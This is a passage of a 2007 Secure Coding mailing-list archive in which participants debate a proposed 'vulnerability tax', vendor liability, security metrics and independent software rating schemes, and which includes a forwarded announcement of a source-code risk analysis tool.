> On Nov 29, 2007 2:47 PM, Kenneth Van Wyk <ken at krvw.com> wrote:
> >
> > The article quotes David Rice, who has a book out called
> > "Geekconomics: The Real Cost of Insecure Software".  In it, he tried
> > to quantify how much insecure software costs the public and, more
> > controversially, proposes a "vulnerability tax" on software
> > developers.  He believes such a tax would result in more secure
> > software.
>
> I like contractual approaches to this problem myself.  People buying
> large quantities of software (large enterprises, governments) should
> get contracts with vendors that specify money-back for each patch they
> have to apply where the root cause is of a given type.  For example, I
> get money back every time the vendor has a vulnerability and patch
> related to a buffer overflow.
>
> I wrote a small piece about this:
> http://securityretentive.blogspot.com/2007/09/buffer-overflows-are-like-hospital.html
>
> Turns out that the federal government isn't paying for avoidable
> outcomes anymore.  Certain things fall into the rough category of
> "negligence" and so aren't covered.  We ought to just do this for
> software via a contracts mechanism.  I'm not sure we want to start out
> with a big-bang public-policy approach on this issue.  We'd want to
> know a lot more about how the economics work out on a small scale
> before applying it to all software.
>
> --
> Andy Steingruebl
> steingra at gmail.com
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
mike
http://lets.coozi.com.au/

From leichter_jerrold at emc.com  Fri Nov 30 09:27:34 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Fri, 30 Nov 2007 09:27:34 -0500 (EST)
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
 and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <200711292351.SAA01829@Sparkle.Rodents.Montreal.QC.CA>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<Pine.SOL.4.61.0711291828480.12157@mental>
	<200711292351.SAA01829@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <Pine.SOL.4.61.0711300909440.12157@mental>

| > 	Just as a traditional manufacturer would pay less tax by
| > 	becoming "greener," the software manufacturer would pay less tax
| > 	for producing "cleaner" code, [...]
| 
| > One could, I suppose, give rebates based on actual field experience:
| > Look at the number of security problems reported per year over a
| > two-year period and give rebates to sellers who have low rates.
| 
| And all of this completely ignores the $0 software "market".  (I'm
| carefully not saying "free", since that has too many other meanings,
| some of which have been perverted in recent years to mean just about
| the opposite of what they should.)  Who gets hit with tax when a bug
| is found in, say, the Linux kernel?  Why?
I'll answer this along my understanding of the lines of the proposal at
hand.  I have my doubts about the whole idea, for a number of reasons,
but if we grant that it's appropriate for for-fee software, it's easy
decide what happens with free software - though you won't like the
answer:  The user of the software pays anyway.  The cost is computed in
some other way than as a percentage of the price - it's no clear exactly
how.  Most likely, it would be the same tax as is paid by competing
non-free software with a similar security record.  (What you do when
there is no such software to compare against is an interesting problem
for some economist to work on.)

The argument the author is making is that security problems impose costs
on *everyone*, not just on the party running the software.  This is a
classic economic problem:  If a party can externalize its costs - i.e.,
dump them on other parties - its incentives become skewed.  Right now,
the costs of security problems for most vendors are externalized.
Where do they do?  We usually think of them as born by that vendor's
customers.  To the degree that's so, the customers will have an
incentive to push costs back on to the vendor, and eventually market
mechanisms will clean things up.  To some degree, that's happened to
Microsoft:  However effective or ineffective their security efforts,
it's impossible to deny that they are pouring large sums of money
into the problem.

To the degree that the vendors' customers can further externalize the
support onto the general public, however, they have no incentive to
push back either, and the market fails.  This is pretty much the case
for personal, as opposed to corporate, users of Microsoft's software.
Imposing a tax is the classic economic answer to such a market failure.
The tax's purpose is (theoretically) to transfer the externalized costs
back to those who are in a position to respond.  In theory, the cost
for security problems - real or simply possible; we have to go with
the latter because by the time we know about the former it's very
late in the game - should be born by those who develop the buggy
code, and by those who choose to use it.  A tax on the code itself
directly takes from the users of the code, indirectly from the
vendors because they will find it more difficult to compete with
vendors who pay lower tax rates, having written better code.  It's
much harder to impose the costs directly on the vendors.  (One way
is to require them to carry insurance - something we do with, say,
trucking companies).

In any case, these arguments apply to free software in exactly the same
way they do for for-fee software.  If I cars away for free, should I be
absolved of any of the costs involved if they pollute, or cause
accidents?  If I'm absolved, should the recipients of those cars also be
absolved?  If you decide the answer is "yes", what you've just decided
is that *everyone* should pay a hidden tax to cover those costs.  In
what why is *that* fair?
							-- Jerry

From ken at krvw.com  Fri Nov 30 10:15:32 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 30 Nov 2007 10:15:32 -0500
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <Pine.SOL.4.61.0711291828480.12157@mental>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<Pine.SOL.4.61.0711291828480.12157@mental>
Message-ID: <3E7FDC65-43C0-43DF-A2FA-038873B818E7@krvw.com>

On Nov 29, 2007, at 6:35 PM, Leichter, Jerry wrote:
> So he's not completely naive, though the history of security metrics  
> and
> standards - which tend to produce code that satisfies the standards
> without being any more secure - should certainly give on pause.
>
> One could, I suppose, give rebates based on actual field experience:
> Look at the number of security problems reported per year over a two-
> year period and give rebates to sellers who have low rates.


Right, so this is where I believe the entire idea would fall apart.  I  
don't think we have adequate metrics today to measure products  
fairly.  Basing the tax on field experience would also be problematic  
to measure well, although I could see this leading to development  
organizations getting some sort of actuarial score.

But the real problem with it, as I said, is metrics.  Should it be  
based on (say) defect density per thousand lines of code as reported  
by (say) 3 independent static code analyzers?  What about design  
weaknesses that go blissfully unnoticed by code scanners?  (At least  
the field experience concept could begin to address these over time,  
perhaps.)

I do think that software developers who produce bad (security) code  
should be penalized, but at least for now, I still think the best way  
of doing this is market pressure.  I don't think we're ready for more,  
on the whole, FWIW.  But _consumers_ wield more power than they  
probably realize in most cases.

Cheers,

Ken

-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2500 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071130/b758e754/attachment.bin 

From mouse at Rodents.Montreal.QC.CA  Fri Nov 30 10:15:45 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Fri, 30 Nov 2007 10:15:45 -0500 (EST)
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
 and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <Pine.SOL.4.61.0711300909440.12157@mental>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<Pine.SOL.4.61.0711291828480.12157@mental>
	<200711292351.SAA01829@Sparkle.Rodents.Montreal.QC.CA>
	<Pine.SOL.4.61.0711300909440.12157@mental>
Message-ID: <200711301540.KAA12028@Sparkle.Rodents.Montreal.QC.CA>

>>> 	Just as a traditional manufacturer would pay less tax by
>>> 	becoming "greener," the software manufacturer would pay less
>>> 	tax for producing "cleaner" code, [...]
>> And all of this completely ignores the $0 software "market".  Who
>> gets hit with tax when a bug is found in, say, the Linux kernel?
> [T]f we grant that [the idea is] appropriate for for-fee software,
> it's easy decide what happens with free software - though you won't
> like the answer:  The user of the software pays anyway.

Well, it's full of enforcement issues; with for-pay, the point of sale
is a comparatively well-regulated point at which taxes can be applied,
but there is no such convenient choke-point for gratuit software.  How
would you even *find* all the relevant users?

Also, in the open-source world, people mix-and-match software to a
degree not seen in the closed-source world.  Does everyone who ever
downloaded a copy pay?  Everyone who's still running it?  Everyone who
ever ran it?  What about people who fixed the relevant bug themselves?

The only answers I can see are (1) to completely forbid software
sharing between end users, even when it's not against copyright law, or
(2) a massive DRM-style invasion of everyone's machines, so as to
report exactly what software they're running to some enforcement
authority.  I can't see either one flying.

And, incidentally, why would you think I wouldn't like that answer?  As
far as I know I'm not under any jurisdiction considering such a stupid
idea (yes, I consider it stupid), and if some other jurisdiction wants
to break their software industry that badly, it's their lookout.

> The argument the author is making is that security problems impose
> costs on *everyone*, not just on the party running the software.
> [...externalities...]
> Imposing a tax is the classic economic answer to such a market
> failure.  The tax's purpose is (theoretically) to transfer the
> externalized costs back to those who are in a position to respond.
> In theory, the cost for security problems - real or simply possible;
> we have to go with the latter because by the time we know about the
> former it's very late in the game -

So?  Why is that a problem?  It seems to me that someone who runs, say,
Windows, with all its horrible security record, in such a way as to not
cause a problem (this is not a hypothetical case), should not be taxed,
because that user is not imposing any externalized costs on the world
at large.

There's a problem finding everyone who's offended, but it's no worse
than the problems of finding all users of a piece of gratuit software.

> should be born by those who develop the buggy code, and by those who
> choose to use it.

I can argue both ways wrt imposing it on the developers.  Often enough,
the bugs are not bugs, but rather an end user misapplying software.
I've often enough written software that was perfectly fine in its
intended application but, if misapplied, could be a risk.

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From Brian.A.Shea at bankofamerica.com  Fri Nov 30 14:30:36 2007
From: Brian.A.Shea at bankofamerica.com (Shea, Brian A)
Date: Fri, 30 Nov 2007 11:30:36 -0800
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
 and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <Pine.SOL.4.61.0711300909440.12157@mental>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<Pine.SOL.4.61.0711291828480.12157@mental>
	<200711292351.SAA01829@Sparkle.Rodents.Montreal.QC.CA>
	<Pine.SOL.4.61.0711300909440.12157@mental>
Message-ID: <CC9C8DDEEAD1814BA5FED7227254EE5B016FF458@ex2k.bankofamerica.com>

IMO the path to changing the dynamics for secure coding will reside in
the market, the courts, and the capacity of the software industry to
measure and test itself and to demonstrate the desired properties of
security, quality, and suitability for purpose.  In today's market we do
well in suitability for purpose (aka marketing then testing, pilot, and
purchase) but I believe we do poorly at security and quality.

Rather than try to "tax" software for being bad, it will likely end up
being more successful to reward them for being good in the form of
market support and sales.  That dynamic will probably work better, and
will empower the companies and individuals (who choose to get this
involved) to make the choices of security and quality against cost or
convenience.  The punishment for bad software is lost sales and eventual
loss of the use of that product within the market.

How?
Software vendors will need a 3 tier approach to software security:  Dev
training and certification, internal source testing, external
independent audit and rating.  The open source version of this can be
the same, but applied more individually or at the "derivative product"
level (ie if I make a Linux based appliance from open source, I become
the owner of the issues in that Linux derivative)

The legal side will need to alter the EULA away from a "hold harmless"
model to one where vendors and software buyers can assert that the
software is expected to perform at certain security or quality levels,
and have a known backing from a legal recourse side.  Companies that
make/sell software and can be sued offer more recourse than open source,
but that's not better or worse just different.  The buyer can choose the
degree of security and quality rating (based on the audit etc) and the
legal recourse they want via the SLA or choice to use open source.  For
a high assurance system one might choose a software vendor with a
contract and SLA, while also choosing open source for lower assurance
efforts that come with less recourse but less cost too.  This opens a
market for companies who choose to "resell" open source, but provide the
support and assurances.  It also allows anyone to choose which factors
are important, and buy / use accordingly.  

If choice results in "downstream" impacts, then the deployer of the
software is initially accountable, and they must determine if they have
recourse via SLA or contract to their provider.  If they accepted risk
of a non-supported software package, then their deployment and the
ensuing harm is their responsibility.  If they have recourse, as the
saying goes "they pass the savings on".

Home users are also empowered if they choose to be, but overall they
gain in two major ways.  The market will be driven to more secure
software over time without their direct knowledge (as companies and
governments choose to require software to be more secure) and they can
benefit from any legal recourses that are available for notable security
failures or quality gaps. 

Using these factors anyone could make decisions based on the need for
recourse (courts), assurance (market), and quality (industry rating and
standards for security and quality) and come away with software that
meets their needs in each area, without excluding open or closed source
or leaving the corporate / consumer customers unprotected.

DISCLAIMER: Views are my own, and not those of my employer, and were
generated over a cup of coffee in a fairly stream of consciousness kind
of way.  Grains of salt not supplied, but are recommended when consuming
the contents. :)

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Leichter, Jerry
Sent: Friday, November 30, 2007 6:28 AM
To: der Mouse
Cc: SC-L at securecoding.org
Subject: Re: [SC-L] Insecure Software Costs US $180B per Year -
Application and Perimeter Security News Analysis - Dark Reading

| > 	Just as a traditional manufacturer would pay less tax by
| > 	becoming "greener," the software manufacturer would pay less tax
| > 	for producing "cleaner" code, [...]
| 
| > One could, I suppose, give rebates based on actual field experience:
| > Look at the number of security problems reported per year over a
| > two-year period and give rebates to sellers who have low rates.
| 
| And all of this completely ignores the $0 software "market".  (I'm
| carefully not saying "free", since that has too many other meanings,
| some of which have been perverted in recent years to mean just about
| the opposite of what they should.)  Who gets hit with tax when a bug
| is found in, say, the Linux kernel?  Why?
I'll answer this along my understanding of the lines of the proposal at
hand.  I have my doubts about the whole idea, for a number of reasons,
but if we grant that it's appropriate for for-fee software, it's easy
decide what happens with free software - though you won't like the
answer:  The user of the software pays anyway.  The cost is computed in
some other way than as a percentage of the price - it's no clear exactly
how.  Most likely, it would be the same tax as is paid by competing
non-free software with a similar security record.  (What you do when
there is no such software to compare against is an interesting problem
for some economist to work on.)

The argument the author is making is that security problems impose costs
on *everyone*, not just on the party running the software.  This is a
classic economic problem:  If a party can externalize its costs - i.e.,
dump them on other parties - its incentives become skewed.  Right now,
the costs of security problems for most vendors are externalized.
Where do they do?  We usually think of them as born by that vendor's
customers.  To the degree that's so, the customers will have an
incentive to push costs back on to the vendor, and eventually market
mechanisms will clean things up.  To some degree, that's happened to
Microsoft:  However effective or ineffective their security efforts,
it's impossible to deny that they are pouring large sums of money
into the problem.

To the degree that the vendors' customers can further externalize the
support onto the general public, however, they have no incentive to
push back either, and the market fails.  This is pretty much the case
for personal, as opposed to corporate, users of Microsoft's software.
Imposing a tax is the classic economic answer to such a market failure.
The tax's purpose is (theoretically) to transfer the externalized costs
back to those who are in a position to respond.  In theory, the cost
for security problems - real or simply possible; we have to go with
the latter because by the time we know about the former it's very
late in the game - should be born by those who develop the buggy
code, and by those who choose to use it.  A tax on the code itself
directly takes from the users of the code, indirectly from the
vendors because they will find it more difficult to compete with
vendors who pay lower tax rates, having written better code.  It's
much harder to impose the costs directly on the vendors.  (One way
is to require them to carry insurance - something we do with, say,
trucking companies).

In any case, these arguments apply to free software in exactly the same
way they do for for-fee software.  If I cars away for free, should I be
absolved of any of the costs involved if they pollute, or cause
accidents?  If I'm absolved, should the recipients of those cars also be
absolved?  If you decide the answer is "yes", what you've just decided
is that *everyone* should pay a hidden tax to cover those costs.  In
what why is *that* fair?
							-- Jerry
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc -
http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________

From ken at krvw.com  Fri Nov 30 14:48:01 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 30 Nov 2007 14:48:01 -0500
Subject: [SC-L] Fwd: SCARE metrics and tool release
References: <47502C8A.6000302@isecom.org>
Message-ID: <4D963019-1395-4E56-9712-1D93A53D3220@krvw.com>

Reposted with permission, FYI...

Cheers,

Ken
SC-L Moderator

Begin forwarded message:

> From: Pete Herzog <lists at isecom.org>
> Date: November 30, 2007 10:30:18 AM EST
> To: bugtraq at securityfocus.com
> Subject: SCARE metrics and tool release
>
> Hi,
>
> Scare, the Source Code Analysis Risk Evaluation tool for measuring  
> security complexity in C source code is now available.  The tool is  
> written to support the OpenTC project (opentc.net) as the SCARE  
> methodology project available at:
>
> http://www.isecom.org/scare
>
> We have done some test cases with the tool already do track trends  
> in Xen and are now working on measuring trends in the Linux Kernel.
>
> USE
> The SCARE analysis tool is run against source code.  Currently only  
> C code is supported.  The ouput file will contain all operational  
> interactions possible which need controls (the current version does  
> not yet say if and what controls are already there).  At the bottom  
> of the list are three numbers: Visibilities, Access, and Trusts.   
> These 3 numbers can be plugged into the RAV Calculation spreadsheet  
> available at isecom.org/ravs.  The Delta value is then subtracted  
> from 100 to give the SCARE percentage which indicates the complexity  
> for securing this particular application.  The lower the value, the  
> worse the SCARE.
>
> Trends in Xen:
>
> XEN ver.     Vis    Accesses    Trusts    SCARE    Delta
> --------------------------------------------------------
> 3.0.3_0       1       314        28577    58.26    -41.74
> 3.0.4_1       1       311        31060    57.79    -42.21
> 3.1.0         1       316        33139    57.43    -42.57
>
> As you can see, the security complexity of Xen is getting worse due  
> to the increased numbers of Trusts (reliance on external variables  
> which a user can manipulate as an input). Trust attacks can be  
> tested according to the 4th point of the 4 Point test process in the  
> OSSTMM 3: Intervention - changing resource interactions with the  
> target or between targets.
>
> At this stage, the tool cannot yet tell which interactions have  
> controls already or if those controls are applicable however once  
> that is available it will change the RAV but not the SCARE.  The  
> SCARE will also not yet tell you where the bugs are in the code  
> however if you are bug hunting, it will extract all the places where  
> user inputs and trusts with user-accessible resources can be found  
> in the code.
>
>
> We need help!  We are looking for people to help us complete the  
> SCARE methodology, add new programming languages to the tool, as  
> well as even making a windows binary version for those who do not  
> code in Linux. Contact me if you can do this.
>
> Sincerely,
> -pete.
>
> -- 
> Pete Herzog - Managing Director - pete at isecom.org
> ISECOM - Institute for Security and Open Methodologies
> www.isecom.org - www.osstmm.org
> www.hackerhighschool.org - www.isestorm.org
> -------------------------------------------------------------------
> ISECOM is the OSSTMM Professional Security Tester (OPST),
> OSSTMM Professional Security Analyst (OPSA), and Hacker Highschool
> Teacher certification authority.



-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2500 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071130/9c95d039/attachment.bin 

From coley at linus.mitre.org  Fri Nov 30 15:37:47 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 30 Nov 2007 15:37:47 -0500 (EST)
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
 and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <CC9C8DDEEAD1814BA5FED7227254EE5B016FF458@ex2k.bankofamerica.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<Pine.SOL.4.61.0711291828480.12157@mental>
	<200711292351.SAA01829@Sparkle.Rodents.Montreal.QC.CA>
	<Pine.SOL.4.61.0711300909440.12157@mental>
	<CC9C8DDEEAD1814BA5FED7227254EE5B016FF458@ex2k.bankofamerica.com>
Message-ID: <Pine.GSO.4.51.0711301530580.5980@faron.mitre.org>


On Fri, 30 Nov 2007, Shea, Brian A wrote:

> Software vendors will need a 3 tier approach to software security:  Dev
> training and certification, internal source testing, external
> independent audit and rating.

I don't think I've seen enough emphasis on this latter item.  A
sufficiently vibrant set of independent testing organizations that follows
some established procedures would be one way for customers to get an
independent guarantee of software's (relative) security.  This in turn
could put pressure on other vendors to follow suit.

The challenges would be defining what those procedures should be,
maintaining them in a way so that they remain relevant, convincing
existing research organizations to participate, and handling the problem
of free (as in beer) software.

A gazillion years ago, John Tan of the L0pht proposed an "Underwriters
Laboratories" for software, and maybe its time is almost upon us.

- Steve

From coley at linus.mitre.org  Fri Nov 30 15:59:12 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 30 Nov 2007 15:59:12 -0500 (EST)
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
 and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <5e01c29a0711292141q24f9b6admdd6907da520d8c46@mail.gmail.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
	<5e01c29a0711292141q24f9b6admdd6907da520d8c46@mail.gmail.com>
Message-ID: <Pine.GSO.4.51.0711301557400.5980@faron.mitre.org>


On Fri, 30 Nov 2007, silky wrote:

> i still think all these ideas are wrong and the model is simple: don't
> employ people who write and generate insecure code. it's just part of
> programming. you wouldn't hire a doctor to be a gardener. don't hire
> an idiot to program your apps.

How does a manager who hasn't written code in the last 10 years (if ever)
know how to distinguish the idiots from the experts?  Secure programming
certification and education is, at best, in its infancy.

- Steve

From andre at operations.net  Sat Dec  1 23:45:32 2007
From: andre at operations.net (Andre Gironda)
Date: Sat, 1 Dec 2007 21:45:32 -0700
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
Message-ID: <2fd9390e0712012045l7c96057clf398abcba506271a@mail.gmail.com>

On Nov 29, 2007 3:47 PM, Kenneth Van Wyk <ken at krvw.com> wrote:
> The article quotes David Rice, who has a book out called
> "Geekconomics: The Real Cost of Insecure Software".  In it, he tried
> to quantify how much insecure software costs the public and, more
> controversially, proposes a "vulnerability tax" on software
> developers.  He believes such a tax would result in more secure
> software.

I read Geekonomics a few weeks ago, when it became available on
SafariBooksOnline.  I have mixed feelings about the author, the book,
and the subject matter.  His discussions in the book are great -
especially in the first four chapters.  However, I find the solutions
and conclusions that he comes to in the last chapter (including all
this "tax" business) to leave a lot to be desired.

My primary reasons for disliking this "vulnerability tax" are that it
doesn't take into account both web applications and
Software-as-a-Service.  Not surprisingly, the book fails to cover both
of these topics.  I'm not sure if David Rice does this on purpose,
because he does touch on open-source software issues (dedicating an
entire chapter to it, and sprinkling the topic through the book).

BTW - I think David Rice brought in the idea of a "vulnerability tax"
because it was the first analogy that popped into his head from the
research and discussion brought about in his book.  On page 157
(Chapter 4), he discusses the incentives put forward by the ISAlliance
in the form of Cyber Insurance Discounts -
http://www.isalliance.org/content/view/29/71/

Quote, "AIG, the world's largest provider of cyber insurance, agreed
to provide premium credits of up to 15% for companies that join the
ISAlliance and subscribe to these best practices. For many companies,
the cash value of this discount may be worth more than the entire cost
of ISAlliance membership".  More details in the Market Incentives
Legislative whitepaper here -
http://www.isalliance.org/content/view/92/229/

In the last chapter of Geekonomics, David Rice talks to many solutions
and incentives besides the "vulnerability tax", but none are quite as
coherent (or controversial).  I suggest reading the entire book
regardless of what you think about what amounts to a very small
section/topic.

> IMHO, if all developers paid the tax, then I can't see it resulting in
> anything other than more expensive software...  Perhaps I'm just
> missing something, though.

David Rice does propose the tax for both software vendors (not sure if
this includes SaaS) and consumers, which is stated more clearly in the
book.  The way he proposes all this doesn't seem like a solution - as
many vendors will turn this around on governments and force the
consumers to, again, eat the cost of any type of effort.

Does anyone expect that software vendors or open-source software
makers are really going to be able to produce more secure software
because of a "vulnerability tax"?  Personally, I don't think this gets
very close to the root-cause of software vulnerabilities.

Cheers,
Andre

From andre at operations.net  Sat Dec  1 23:48:45 2007
From: andre at operations.net (Andre Gironda)
Date: Sat, 1 Dec 2007 21:48:45 -0700
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
Message-ID: <2fd9390e0712012048m10df675q3b6ffe096215bd57@mail.gmail.com>

On Nov 29, 2007 5:13 PM, Andy Steingruebl <steingra at gmail.com> wrote:
> I like contractual approaches to this problem myself.  People buying
> large quantities of software (large enterprises, governments) should
> get contracts with vendors that specify money-back for each patch they
> have to apply where the root cause is of a given type.  For example, I
> get money back every time the vendor has a vulnerability and patch
> related to a buffer overflow.
>
> I wrote a small piece about this:
> http://securityretentive.blogspot.com/2007/09/buffer-overflows-are-like-hospital.html

If you read Geekonomics, you'll find out why this may never happen.
Because of existing software contracts, this is impossible today.
David Rice dedicates chapter five to a discussion on this, but it also
sprinkled throughout the book.

Cheers,
Andre

From andre at operations.net  Sat Dec  1 23:51:36 2007
From: andre at operations.net (Andre Gironda)
Date: Sat, 1 Dec 2007 21:51:36 -0700
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <3E7FDC65-43C0-43DF-A2FA-038873B818E7@krvw.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<Pine.SOL.4.61.0711291828480.12157@mental>
	<3E7FDC65-43C0-43DF-A2FA-038873B818E7@krvw.com>
Message-ID: <2fd9390e0712012051g313f5242jd03a2e79fd17ca04@mail.gmail.com>

On Nov 30, 2007 8:15 AM, Kenneth Van Wyk <ken at krvw.com> wrote:
> But the real problem with it, as I said, is metrics.  Should it be
> based on (say) defect density per thousand lines of code as reported
> by (say) 3 independent static code analyzers?  What about design
> weaknesses that go blissfully unnoticed by code scanners?  (At least
> the field experience concept could begin to address these over time,
> perhaps.)

You, sir, are on the right track!  Secure design inspection and
[secure] code review results can give these metrics.  I think that
code that is high-percent CAPEC-free during design inspection and
high-percent CWE-free during code review should be given a higher
software secure assured rating than inspections/reviews that contain
many CAPEC/CWE issues.

Extended criteria to the above would involve designs/code that are
formally specified or verified (using formal methods/logic).  Think
Orange Book (TCSEC, ITSEC, Common Criteria, et al) and you'll know
what I mean by this.  The interesting thing about Orange Book is that
even the most assured/functional division, A1, only requires that the
formal top-level specification (i.e. TCB design aka security policy
model aka access-control matrix) be formally verified.  Criteria that
goes beyond A1 would formally specify and/or verify actual source
code.

The NHTSA NCAP five-star rating system (Chapter 2 in Geekonomics) that
is used in automobile safety utilizes crash test dummies in a similar
way.

When you say 3 independent scanners, I really like what you are
talking about here.  I often see this more as a three-step process:
first start with secure design inspection, move to binary/bytecode
analysis, and then move to manual code review augmented by static
source code analysis.  Each part of the process can add information
(i.e. generate test-cases) to the next process to improve the reviews.

I always though that the software security assurance five-star rating
system would work in a similar way as the Food Safety Network works -
by using samples to identify "diseased/vulnerable" product.  This
would mean that we could take the most core, critical components in
any application (the ones that require the most security).  Then take
samples of that code (by choosing the ones that "smell the worst /
look the most diseased"), by combining code coverage with cyclomatic
complexity.  There is a project that combines these two metrics called
Crap4J.  Code that has been already covered with testing (and that has
shown the highest "cluster" of bugs can be included.  Untested areas
of code can also be included.  Cyclomatic complexity metrics can
slightly augment the process, although from my persepctive - less
complex code can contain vulnerabilities just the same.

Let's say that Cigital (on-track to be CWE-Compatible/Effective)
performs a secure design inspection (note: I wonder if there is going
to be a CAPEC-Compatible program?) and hands their report to Veracode
(currently CWE-Compatible).  Veracode can then perform binary/bytecode
analysis and hand their report back to Cigital for the secure code
review.  Using a mix of CWE-Compatible tools, Cigital inspectors can
then build the last of three reports.  All three reports could be used
to score an application using a standardized five-star rating system.

While applications should be tested at every revision, some
applications may only be tested on some sort of scheduled basis.
Companies who refuse to provide timely designs and code samples should
be penalized by heavy fines.  I'm not sure who is going to enforce
this, but I see it as a government function.  However, this isn't a
regulation - it's simply assurance level reporting, made available to
the public (think equivalents to safercar.gov, Consumer Reports, and
automobile price stickers).  Imagine flipping through pages of a tech
magazine and seeing secure software assurance five-star ratings listed
at the top section of product reviews, right next to or below the name
of the product.

Of course, open-source software has readily available code, but there
should be penalities for OSS developers who do not provide timely
software designs.  Clearly, these cannot be directly monetary - but
instead the rating board can fine software vendors who use the
open-source software as a third-party component in their applications
(or shipped along with their products).  This will likely provide the
necessary pushback on open-source developers to provide software
designs.

Note that my five-star rating system suggested is only half of a
secure software initiative - the assurance part.  According to the
Orange Book, there has to be functional measures that placate the
inherent problems with trusting the TCB: object reuse and covert
channels.  The Orange Book specifies that the TCB requires a security
kernel, security perimeter, and trusted paths to/from the users and
the TCB (input validation is referred to as "secure attention keys").

Not only does the access control matrix have to be well designed and
implemented, but there also has to be safeguards (today we sometimes
call these exploitation countermeasures) to protect against problems
with object reuse or covert channels.

Access control systems can be programmatic, discretionary, mandatory,
role-based, or declarative (in order of sophistication and assurance).
 Transitioning between states is possibly the hardest thing to get
right in terms of security in applications - fortunately it is
something usually taken seriously by developers (i.e. vertical and
horizontal privilege escalation), but strangely less-so by security
professionals (who often see semantic bugs like buffer overflows,
parser bugs, and input/output issues to be the most interesting).
This is probably why the TCB is the only part in the Orange Book
criteria that requires formal specification and/or verification to get
to the highest division (A1).

Object reuse and covert channels provide the landscape for security
weaknesses to happen.  Object reuse means that because memory is
shared, things like buffer overflows (stack or heap), integer
vulnerabilities, and format string vulnerabilities are possible.  When
a disk or memory is shared, it can be written to or read by anyone
with virtual access to it (depending on the nature of the filesystem
and how the TCB grants access to it).  Covert channels provide access
to IPC (inter process communication), both inside and outside of the
system via TCB access rights.  Additional problems of storage and
timing channels also fall into this category.

Of course, the proper way to prevent misuse of objects or channels is
to assure the TCB design and the source code.  However, by using
security perimeters and trusted paths (along with a reference monitor,
or security kernel) - we can provide the "functionality" necessary to
further protect these needed elements.  The same is true with
automobiles: in the form of seat-belts + airbags, as well as optional
components such as harnesses, roll cages, helmets, driving gloves,
sunglasses, etc.

Modern day exploitation countermeasures and vulnerability management
are these security functions: software-update is your seat-belt, ASLR
your airbags, and optional components include GPG, SSL, anti-virus,
patch management, firewalls, host or network-based IPS, NAC, DLP,
honeypots, etc.  I like to compare the optional components to the
highway system and traffic lights when provided externally (e.g. from
your IT department or ISP).

It may appear that I'm suggesting an end to penetration testing (which
probably isn't popular on this mailing-list anyways), but that's not
entirely true.  Automobiles still require the occasional
brake/wiper/tire replacement, tune-up, oil change, and even weekly
checks such as tire pressure.  Security testing in the operations or
maintenance phase will probably remain popular for quite some time
(especially the free security testing from the vulnerability-obsessed
security community).

> I do think that software developers who produce bad (security) code
> should be penalized, but at least for now, I still think the best way
> of doing this is market pressure.  I don't think we're ready for more,
> on the whole, FWIW.  But _consumers_ wield more power than they
> probably realize in most cases.

Developers shouldn't be allowed to properly build code that has
inherent security weaknesses.  This is best enforced by a build server
that errors on CWE's.  However, it is best accomplished by providing a
